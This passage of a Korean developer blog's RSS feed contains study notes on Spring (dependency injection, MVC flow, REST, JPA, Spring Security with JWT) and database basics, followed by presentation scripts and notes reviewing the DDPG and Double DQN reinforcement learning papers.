<li><strong>정의:</strong> IoC 컨테이너가 관리하는 객체들 간의 의존관계(필요한 부품)를 컨테이너가 알아서 &#39;주입&#39;(연결)해주는 것입니다.</li>
<li><strong>방식:</strong> <code>@Autowired</code> (필드 주입), 생성자 주입, Setter 주입 등이 있습니다. (생성자 주입이 가장 권장됩니다.)</li>
<li><strong>장점:</strong> <strong>결합도(Coupling)</strong>가 낮아집니다. 즉, <code>Car</code> 클래스가 <code>KoreaTire</code>라는 구체적인 구현을 몰라도 <code>Tire</code>라는 인터페이스만 알면 되므로, 코드가 유연해지고 테스트하기 쉬워집니다.</li>
</ul>
</li>
</ul>
<h3 id="22-spring-mvc">2.2 Spring MVC</h3>
<p>웹 애플리케이션을 만들 때 사용하는 &#39;Model-View-Controller&#39; 디자인 패턴 기반의 프레임워크입니다.</p>
<ul>
<li><strong>동작 흐름 (중요):</strong><ol>
<li><strong>Client 요청:</strong> 사용자가 URL을 요청합니다.</li>
<li><strong><code>DispatcherServlet</code> (중앙 관제소):</strong> 모든 요청을 가장 먼저 받아서 처리할 컨트롤러를 찾습니다.</li>
<li><strong><code>HandlerMapping</code>:</strong> 요청된 URL에 매핑되는 <code>@Controller</code>를 찾아냅니다.</li>
<li><strong><code>@Controller</code> (컨트롤러):</strong> 실제 비즈니스 로직을 처리하고, 데이터를 가공(Model)한 뒤, 어떤 화면(View 이름)을 보여줄지 <code>DispatcherServlet</code>에 반환합니다.</li>
<li><strong><code>ViewResolver</code>:</strong> 컨트롤러가 반환한 View 이름을 기반으로 실제 View 파일을 찾습니다.</li>
<li><strong><code>View</code> (응답):</strong> 데이터를 HTML(JSP, Thymeleaf)이나 JSON(Rest API) 형태로 렌더링하여 Client에게 최종 응답을 보냅니다.</li>
</ol>
</li>
</ul>
<h3 id="23-restful-api">2.3 RESTful API</h3>
<p>API를 설계하는 스타일 중 하나로, &#39;자원(Resource)&#39;을 &#39;URI&#39;로 표현하고 &#39;행위(Verb)&#39;를 &#39;HTTP Method&#39;로 정의하는 방식입니다.</p>
<ul>
<li><strong>자원 (URI):</strong> <code>/users/1</code> (1번 유저)</li>
<li><strong>행위 (HTTP Method):</strong><ul>
<li><code>GET</code> (조회): <code>/users/1</code> (1번 유저 정보 조회)</li>
<li><code>POST</code> (생성): <code>/users</code> (새로운 유저 생성)</li>
<li><code>PUT</code> / <code>PATCH</code> (수정): <code>/users/1</code> (1번 유저 정보 수정)</li>
<li><code>DELETE</code> (삭제): <code>/users/1</code> (1번 유저 삭제)</li>
</ul>
</li>
</ul>
<h3 id="24-spring-data-jpa-orm">2.4 Spring Data JPA (ORM)</h3>
<p>DB 작업을 SQL 쿼리 없이 &#39;자바 객체&#39;로 처리할 수 있게 해주는 기술입니다.</p>
<ul>
<li><strong>ORM (Object-Relational Mapping):</strong><ul>
<li><strong>정의:</strong> 객체(Object, Java Class)와 관계형 DB(Relational, Table)를 자동으로 매핑(연결)해주는 기술입니다.</li>
<li><strong>JPA:</strong> ORM의 &#39;표준 명세(인터페이스)&#39;이며, <strong>Hibernate</strong>는 이 명세를 구현한 &#39;구현체&#39;입니다.</li>
</ul>
</li>
<li><strong>핵심 개념:</strong><ul>
<li><strong><code>@Entity</code>:</strong> 이 자바 클래스가 DB 테이블과 매핑된다고 알려줍니다.</li>
<li><strong><code>Repository</code>:</strong> <code>JpaRepository</code> 인터페이스를 상속받으면, <code>save()</code>, <code>findById()</code>, <code>findAll()</code>, <code>delete()</code> 등 기본적인 CRUD 쿼리를 메소드 호출만으로 실행할 수 있습니다.</li>
</ul>
</li>
<li><strong>N+1 문제 (면접 단골):</strong><ul>
<li><strong>현상:</strong> 1개의 쿼리로 N개의 데이터를 가져왔는데(예: 게시글 10개 조회), 이 N개의 데이터가 각각 연관된 데이터를(예: 각 게시글의 댓글) 참조할 때 N개의 추가 쿼리가 발생하는 문제입니다. (총 1 + N개의 쿼리 실행)</li>
<li><strong>해결:</strong> <strong>Fetch Join (JPQL)</strong>을 사용하거나 엔티티의 fetch 전략을 <code>EAGER</code> 대신 <code>LAZY</code> + <code>BatchSize</code> 설정 등으로 해결합니다.</li>
</ul>
</li>
</ul>
<h3 id="25-spring-security">2.5 Spring Security</h3>
<p>스프링 기반 애플리케이션의 &#39;보안(인증, 인가)&#39;을 담당하는 강력한 프레임워크입니다.</p>
<ul>
<li><strong>인증 (Authentication):</strong> &quot;당신은 누구입니까?&quot; (로그인). 사용자의 신원을 확인하는 절차.</li>
<li><strong>인가 (Authorization):</strong> &quot;당신은 무엇을 할 수 있습니까?&quot; (권한). 인증된 사용자가 특정 자원에 접근할 수 있는지 권한(ADMIN, USER 등)을 확인하는 절차.</li>
<li><strong>JWT (JSON Web Token):</strong><ul>
<li><strong>정의:</strong> 인증 정보를 담은 암호화된 &#39;토큰&#39;입니다.</li>
<li><strong>동작:</strong> 사용자가 로그인하면 서버가 JWT 토큰을 발급 -&gt; 클라이언트는 이 토큰을 저장했다가 매 요청마다 헤더에 담아 보냄 -&gt; 서버는 토큰을 검증하여 사용자를 인증합니다. (서버가 세션을 저장할 필요가 없어 Stateless 구조에 유리)</li>
</ul>
</li>
</ul>
<hr>
<h2 id="💾-3-database-데이터베이스">💾 3. Database (데이터베이스)</h2>
<p>데이터를 체계적으로 저장, 관리, 검색하는 시스템입니다.</p>
<h3 id="31-rdbms-관계형-데이터베이스">3.1 RDBMS (관계형 데이터베이스)</h3>
<p>데이터를 정해진 스키마(구조)에 따라 &#39;테이블&#39; 형태로 저장하며, 테이블 간의 &#39;관계&#39;를 통해 데이터를 관리합니다. (예: MySQL, PostgreSQL)</p>
<h3 id="32-sql-join">3.2 SQL (JOIN)</h3>
<p>여러 테이블에 흩어져 있는 데이터를 &#39;관계&#39;를 이용해 하나로 합쳐서 가져오는 SQL 명령어입니다.</p>
<ul>
<li><strong><code>INNER JOIN</code> (내부 조인):</strong> 두 테이블에 <strong>모두</strong> 공통적으로 존재하는 데이터(교집합)만 가져옵니다.</li>
<li><strong><code>OUTER JOIN</code> (외부 조인):</strong><ul>
<li><strong><code>LEFT JOIN</code>:</strong> <strong>왼쪽</strong> 테이블의 데이터는 모두 가져오고, 오른쪽 테이블은 매칭되는 데이터만 가져옵니다. (매칭 안 되면 NULL)</li>
<li><strong><code>RIGHT JOIN</code>:</strong> <strong>오른쪽</strong> 테이블의 데이터는 모두 가져오고, 왼쪽 테이블은 매칭되는 데이터만 가져옵니다.</li>
</ul>
</li>
</ul>
<h3 id="33-인덱스-index">3.3 인덱스 (Index)</h3>
<p>데이터베이스의 <strong>검색(SELECT) 속도</strong>를 획기적으로 향상시키는 자료 구조입니다. (책의 &#39;찾아보기&#39;와 동일)</p>
<ul>
<li><strong>원리:</strong> 데이터가 저장된 물리적 주소를, 특정 컬럼(값)을 기준으로 정렬하여 별도의 공간에 저장해 둡니다. (주로 B-Tree 자료 구조 사용)</li>
<li><strong>장점:</strong> <code>WHERE</code> 절이나 <code>ORDER BY</code> 절을 사용한 검색 시 매우 빠릅니다.</li>
<li><strong>단점:</strong><ul>
<li><code>INSERT</code>, <code>UPDATE</code>, <code>DELETE</code> 시 인덱스 테이블도 함께 수정해야 하므로 <strong>쓰기 속도</strong>는 느려집니다.</li>
<li>인덱스를 저장할 추가적인 저장 공간이 필요합니다.</li>
</ul>
</li>
</ul>
<h3 id="34-트랜잭션-transaction">3.4 트랜잭션 (Transaction)</h3>
<p>&#39;전부 성공하거나, 전부 실패해야 하는&#39; 쪼갤 수 없는 논리적인 작업 단위입니다. (예: 계좌 이체 - A 출금, B 입금)</p>
<ul>
<li><strong>ACID (트랜잭션의 4가지 특성):</strong><ul>
<li><strong>원자성 (Atomicity):</strong> 작업이 전부 실행되거나(Commit), 전부 실행되지 않아야(Rollback) 합니다.</li>
<li><strong>일관성 (Consistency):</strong> 트랜잭션이 성공적으로 완료되면 데이터베이스는 항상 일관된 상태를 유지해야 합니다.</li>
<li><strong>고립성 (Isolation):</strong> 여러 트랜잭션이 동시에 실행될 때, 서로의 작업에 영향을 주지 않아야 합니다. (마치 혼자 실행되는 것처럼)</li>
<li><strong>지속성 (Durability):</strong> 성공적으로 완료된 트랜잭션의 결과는 시스템에 영구적으로 저장되어야 합니다.</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[CONTINUOUS CONTROL WITH DEEP REINFORCEMENT LEARNING - DDPG 발표대본]]></title>
            <link>https://velog.io/@a_zin/CONTINUOUS-CONTROL-WITH-DEEP-REINFORCEMENT-LEARNING-DDPG-%EB%B0%9C%ED%91%9C%EB%8C%80%EB%B3%B8</link>
            <guid>https://velog.io/@a_zin/CONTINUOUS-CONTROL-WITH-DEEP-REINFORCEMENT-LEARNING-DDPG-%EB%B0%9C%ED%91%9C%EB%8C%80%EB%B3%B8</guid>
            <pubDate>Tue, 26 Nov 2024 05:25:03 GMT</pubDate>
            <description><![CDATA[<p>1p
안녕하세요 저희가 이번주에 리뷰할 논문은 CONTINUOUS CONTROL WITH DEEP REINFORCEMENT LEARNING이라는 논문입니다.</p>
<p>3p
먼저 AI를 이용하여 더욱더 복잡한 문제를 푸려고 시도해보니 DQN은 이산적이고 차원이 낮은 space를 가진 task만 해결이 가능합니다. action의 종류가 늘어날 수록 차원의 저주에 걸리기 때문입니다.
차원의 저주란 차원이 늘어남에 따라 모델의 성능이 안좋아지는 상황을 의미 합니다. </p>
<p>4p
사진을 보시면 같은 데이터지만 1차원에서는 밀도가 촘촘했던 것들이 2,3차원으로 차원이 커질수록 데이터간의 간격이 늘어나는 것을 보실 수 있습니다. 이렇게 빈공간이 늘어나면 모르는 정보가 늘어났다는 의미 임으로 모델의 성능이 저하됩니다.</p>
<p>5p 
앞에서 말씀드린 문제를 해결하기 위해 DPG 알고리즘 기반의 actor-critic 방식을 사용하고 DQN의 몇몇 특징들을 결합하여 DDPG라는 알고리즘을 소개합니다. actor-critic 알고리즘을 간단히 설명하면 actor는 행동 선택을 담당하고 그 행동의 가치를 평가하는 critic이 협력하여 정책을 개선하는 알고리즘입니다.</p>
<p>6p 
먼저 모든 가중치와 네트워크를 초기화하고 현재 정책에서 행동을 고른후  노이즈를 추가합니다.
여기서 노이즈를 추가하는 이유는 DDPG는 그 이름에서 알 수 있듯이 deterministic, 결정론적인 알고리즘 입니다. 같은 상태에서 같은 행동을 하기 떄문에 노이즈를 통해 무작위성을 추가해야합니다. 이때 노이즈는 온스테인 울렌벡 프로세스를 통해 시간적으로 상관된 무작위 값이라고 합니다. 
그 다음 행동에 대한 보상과 새로운 state를 replay buffer에 추가합니다. replay buffer에서 랜덤한 미니배치를 꺼내어 학습해 데이터의 상관성을 줄입니다. 노이즈를 통해 탐험과 활용의 균형을 맞추고 replay buffer를 통해 상관성을 낮추는 식으로 Ai가 일반화하는 능력을 향상시킵니다. 
그 후 critic을 TD오류를 최소화하는 방향으로 업데이트 합니다. critic은 DQN에서의 네트워크와 마찬가지로 상태와 행동에 통해 미래의 보상을 반영하는 Q 값을 예측합니다. TD오류란 여기서 예측하는 Q값, 즉 예측된 보상과 실제 보상의 차이를 의미하고, DDPG에서는 critic을 통해 이 차이를 최소화 합니다.</p>
<p>7p
그러고 actor를 업데이트하는데 DDPG에서 actor의 학습목표는 주어진 상태에서 최적의 행동을 선택하도록하는 학습 정책 자체를 개선하는 것입니다. 이때 경사상승법을 사용합니다. DQN의 Q네트워크에서 경사하강법을 사용하는데 actor에서는 경사 상승법을 사용하는 이유는 두 네트워크의 목표가 다르기 때문입니다. DQN의 Q네트워크에서는 Q 값을 기반으로 최적의 행동을 선택하여 보상을 최대화 합니다. 최적의 행동을 선택하려면 실제 보상과 예측된 보상의 차이가 작아야하고 이것이 앞에서 말씀드린 TD오류입니다. 하지만 DDPG의 actor에서는 보상인 q값이 아닌 정책 자체를 최대화 해야하기 때문에 경사상승법을 사용합니다. actor는 critic을 통해 정책에 대한 피드백을 진행하고 actor는 이를 통해 경사상승법을 진행하며 정책을 최적화합니다. </p>
<p>8p
마지막으로 타겟 네트워크를 업데이트하고 마무리합니다. 타겟 네트워크를 업데이트 할때 soft 업데이트 방식으로 파라미터를 업데이트하여 급격한 변화가 학습에 미치는 영향을 줄이고 이 방식을 통해 DQN에서 발생했던 과대평가도 어느정도 예방할수 있다고 합니다.
추가적으로 배치 정규화도 사용했습니다.</p>
<p>10p
그림을 보시면 원래 DPG에 비해 타겟 네트워크를 사용한 모델들이 더 빨리 최적화되는것을 확인하실수 있습니다. 최적화 되는 시점은 학습수렴이 일어나는 시점으로 모델의 파라미터가 변화하며 더 이상 유의미한 변화가 일어나지 않고 일정한 값에 수렴하게 되는 시점이라고 보시면 됩니다.</p>
<p>11p
결과적으로 연속적 행동 공간(continuous action spaces)을 다루는 다양한 도메인의 어려운 문제를 견고하게 해결하는 알고리즘을 제안했고 대부분의 강화학습 알고리즘에서 비선형 함수 근사기로 인해 수렴 보장은 어렵지만, 실험을 통해 안정적인 학습이 가능함을 입증했습니다. 다만 Model-free 알고리즘 기반이라서 학습하는데 오랜 시간이 걸린다는 단점이 있습니다.</p>
<hr>
<p>Model-free 알고리즘은 환경의 동적 모델을 학습하거나 사용하지 않고, 직접적인 경험을 통해 정책(policy)이나 가치를 학습하는 방식입니다. 이런 특징으로 인해 학습 시간이 오래 걸리는 단점이 발생
Model-free 알고리즘은 샘플 효율성이 낮습니다. 즉, 환경과의 상호작용을 통해 많은 경험을 얻어야 제대로 학습할 수 있습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[CONTINUOUS CONTROL WITH DEEP REINFORCEMENT LEARNING]]></title>
            <link>https://velog.io/@a_zin/CONTINUOUS-CONTROL-WITH-DEEP-REINFORCEMENT-LEARNING</link>
            <guid>https://velog.io/@a_zin/CONTINUOUS-CONTROL-WITH-DEEP-REINFORCEMENT-LEARNING</guid>
            <pubDate>Mon, 04 Nov 2024 16:07:03 GMT</pubDate>
            <description><![CDATA[<p>논문개요</p>
<p>intro </p>
<p>DQN은 복잡한 감각 입력(예: 이미지나 픽셀 데이터)을 처리하는 데는 강점이 있어서, 아타리 게임과 같이 가능한 행동의 수가 한정된 이산적인 상황에서는 매우 잘 작동합니다. 여기서 &quot;이산적&quot;이라는 것은 조이스틱의 움직임처럼 선택 가능한 행동이 몇 가지 정해진 옵션으로 제한된 상황을 의미합니다.
하지만 DQN은 연속적이거나 고차원적인 행동공간에 대해 처리하는 것이 어렵습니다.
예를 들어: </p>
<ul>
<li>자동 주행 자동차 제어:
자율 주행에서는 핸들 각도, 가속도, 제동 등 다양한 제어 입력이 연속적인 값으로 이루어집니다. 각 행동이 단순히 “좌회전”, “우회전”처럼 몇 가지로 구분된 것이 아니라, 미세한 조정이 필요합니다. DQN은 이러한 연속적인 제어 입력을 효과적으로 다루기 어렵습니다.</li>
<li>드론 비행 제어:
드론의 비행 경로를 제어하려면 속도와 방향을 미세하게 조정해야 합니다. 각 날개의 회전 속도는 연속적인 값으로 표현되며, 비행 중에 끊임없이 변합니다. DQN으로는 이러한 연속적이고 복잡한 움직임을 다루기 힘들기 때문에, 드론 제어에는 다른 강화학습 알고리즘이 필요합니다.</li>
</ul>
<p>이러한 문제를 continous domain 문제라고 합니다.
continous domain을 해결하는 가장 간단한 방법은 행동 공간을 단순히 이산화(연속적인 함수나 데이터를 불연속적인 점들로 변환하는 것)하면 됨. 하지만 이런 단순한 방법은 차원의 저주라는 경우의 수가 너무 많아지는 문제가 발생. (자유도가 7인 시스템(예: 인간의 팔)에서 각각의 관절에 대해 가장 거친 이산화($a_i \in {-k, 0, k}$)를 사용하면 행동 공간의 차원은 $3^7 = 2187$이다.) 이렇게 행동공간이 넓어지면 효율적으로 탐색하기 어렵기 때문에 DQN을 사용하기 거의 불가능. </p>
<h3 id="따라서-본-연구에서는-actor-critic이라는-알고리즘을-제안합니다">따라서 본 연구에서는 actor-critic이라는 알고리즘을 제안합니다.</h3>
<p>Actor는 정책을 나타내는 신경망으로 주어진 상태에 대해 어떤 행동을 선택할지 결정. critic의 피드백을 통해 정책을 업데이트</p>
<p>Critic은 주어진 상태와 행동의 조합이 얼마나 좋은지 평가하는 Q 함수를 추정.</p>
<p>학습과정에서의 사용방법</p>
<ol>
<li>에이전트는 상태 s를 관찰하고, actor는 이에 기반하여 행동 a를 선택.</li>
<li>에이전트는 선택한 행동에 대한 보상을 받고 다음 상태를 관찰</li>
<li>Critic은 (상태, 행동, 보상, 다음 상태)의 쌍을 사용하여 Q 값을 업데이트합니다.</li>
<li>actor 업데이트</li>
</ol>
<p>결론
Atari 도메인에서 DQN보다 20배 적은 경험 스텝으로 문제를 해결했습니다. 하지만 DDPG는 여전히 많은 훈련 에피소드를 필요로 하는 제한점이 있으며, 이를 보완하기 위해 강력한 모델 프리 접근 방식이 더 큰 시스템의 중요한 요소가 될 수 있다고 주장합니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Deep Reinforcement Learning with Double Q-learning]]></title>
            <link>https://velog.io/@a_zin/Deep-Reinforcement-Learning-with-Double-Q-learning-3pl521kc</link>
            <guid>https://velog.io/@a_zin/Deep-Reinforcement-Learning-with-Double-Q-learning-3pl521kc</guid>
            <pubDate>Mon, 14 Oct 2024 03:49:10 GMT</pubDate>
            <description><![CDATA[<p>목차
Introduce</p>
<ul>
<li>DQN의 파생 논문임을 소개</li>
<li><ol>
<li>Q 러닝이란: 보상의 대한 기댓값인 Q-value를 학습하는 알고리즘</li>
</ol>
</li>
<li><ol start="2">
<li>Q 러닝은 그 value를 oversertimate하는 경향이 있음</li>
</ol>
</li>
<li><ol start="3">
<li>overestimate 하는것이 영향을 미치는가</li>
</ol>
</li>
</ul>
<p>본론</p>
<ul>
<li><ol>
<li>영향을 미침</li>
</ol>
</li>
<li><ol start="2">
<li>논문에선 DQN에 Double Q Learning을 도입한 새 알고리즘은 제안</li>
</ol>
</li>
<li><ol start="3">
<li>Double Q Learning이란</li>
</ol>
</li>
</ul>
<p>결론</p>
<ul>
<li>결과</li>
<li>위 논문이 기여한점</li>
</ul>
<p>1p
안녕하세요 오늘 소개할 논문은 Deep Reinforcement Learning with double Q-learning입니다. 이 논문은 저번에 발표했던 DQN 논문의 연장선상에 있으며, DQN이 직면한 overestimate 문제를 해결하기 위해 고안된 알고리즘입니다.</p>
<p>2p 
저번 발표에서 학습한 Q-learning은 보상에 대한 기대값인 Q-Value를 학습하는 알고리즘이었는데요. 이 논문에서는 Q-learning에서 발생하는 overestimate에 대해 3가지 질문을 던지고 있습니다.</p>
<ol>
<li>과대추정이 일반적으로 발생하는 현상인가?</li>
<li>과대추정이 Q-Learning 알고리즘의 성능을 해치는가?</li>
<li>과대추정을 예방 및 방지할 수 있는가? 입니다.</li>
</ol>
<p>3p
위 그래프에 대해선 뒤에서 자세히 설명하겠지만 왼쪽 그래프는 먼저 첫번째 질문, 과대추정이 일반적으로 발생하는 현상인가?에 대한 답을 보여주는 그래프입니다. 보시다시피 DQN의 실제 값 대비 추정값이 과대평가 되는것을 보실 수 있습니다. 논문에서 보여준 예시 그래프들은 일부이지만, 49개의 테스트된 atari 게임에서 모두 DQN의 과대 추정이 관찰되었다고 이 논문에서는 말하고 있습니다. </p>
<p>4p
이런 과대평가를 예방하기 위해 논문에서는 Double Q-learing이라는 새로운 알고리즘을 소개하고 있습니다. 먼저 보시는 식은 DQN 알고리즘의 target y의 식인데요. 논문에서는 이 식이 행동을 선택하고 평가하는데 같은 $\theta$값을 사용하여 과대 추정을 발생시킨다고 설명하고 있습니다. </p>
<p>5p 
행동의 평가와 선택을 같은 파라미터 $\theta$로 했을때 과대 추정이 나타나는 이유는 Q-learning에서는 항상 최대 Q-value를 선택하기 때문에, 이 과정에서 자연스럽게 과대추정이 발생합니다. 또한 greedy policy는 항상 현재 Q-value에 기반하여 행동을 선택하기 때문에, 잘못된 정보가 반복적으로 사용되면서 Q-value가 과대추정되는 경향이 있습니다.
그래서 첫번째 식에서 보시는 것과 같이 행동을 선택하는데 필요한 파라미터 $\theta$와 평가하는데 필요한 $\theta$를 분리시켰습니다. 첫번째 식에서는 $\theta$를 분리시키긴 했지만 여전히 같은값을 쓰기 때문에 다른 값을 쓰도록 만든것이 바로 두번째식, Double Q-learing의 식입니다. Double Q-learning에서는 두개의 $\theta$가 서로 역할을 바꾸어 대칭적으로 업데이트됩니다.</p>
<p>6p 
앞에서 보여드린 그래프의 전체 모습인데요. 위쪽 그래프에선 보시는바와 같이 DQN에 비해 Double DQN, 즉 DDQN의 추정치가 실제 값에 훨씬 가까운 모습을 보실 수 있습니다. 아래쪽 그래프를 보시면 DDQN이 DQN에 비해 측정값의 오차가 적고 score도 훨씬 높은걸 보실 수 있습니다. 이것을 통해 과대 추정이 줄어들면서 학습의 안정성이 향상된다는 것을 알 수 있습니다 또한 과대추정이 발생하는 시점에서 DQN의 점수가 하락하는 모습을 통해 과대추정이 알고리즘의 성능도 해친다는 것을 알수 있습니다.</p>
<p>7p
그래서 마지막 3번째 이런 성능을 낮추는 과대추정을 예방할 수 있는가에 대해 알아보기 위해 논문에서 제안한 DDQN 과 DQN의 게임 성능을 비교해보았습니다.
먼저 위의 식으로 점수를 정규화하였습니다. 위 식은 에이전트가 게임에서 무작위 행동과 비교하여 얼마나 잘했는지를 평가하는 동시에, 인간 플레이어의 성능과도 비교하는 방식입니다. 학습 시간은 5분(18,000 frame)으로 제한하였고 0.05%의 확률로 랜덤한 선택을 하도록 greedy policy를 적용하였습니다. 마지막으로 score는 100 episodes 동안의 reward의 평균값입니다. 이러한 과정을 통해 만들어진 결과를 종합하면 DQN보다 DDQN이 더 좋은 성능을 보이는 것을 확인하실 수 있습니다.</p>
<p>8p(타겟 네트워크 업데이트 주기 증가, 탐색 파라미터 앱실론값($\epsilon$) 감소, 네트워크의 마지막 계층에서 모든 행동값에 대해 하나의 공유된 바이어스 사용) </p>
<p>표를 보시기 조금 힘드시겠지만 실험한 게임들에서의 결과값입니다. 
이번 평가에서는 튜닝된 버전의 DDQN도 추가했는데 그 이유는 원래의 하이퍼파라미터가 DQN용으로 맞춰져있었기 때문입니다. 표에는 대부분의 경우에서 튜닝된 DDQN, DDQN, DQN순으로 좋은 성능을 보이는 것을 확인하실 수 있습니다.</p>
<p>9p
결론적으로 이 논문은 Q-learning에서 과대 추정이 발생하는 이유에 대해 설명하였고, Double Q - learning이 과대 추정을 줄이는데 효과적으로 사용됨을 증명하였습니다. 또한 기존 DQN에서 추가적인 파라미터 없이, 새로운 아키텍쳐를 구현하였으며 더 뛰어난 성능을 보였습니다.</p>
]]></description>
        </item>
    </channel>
</rss>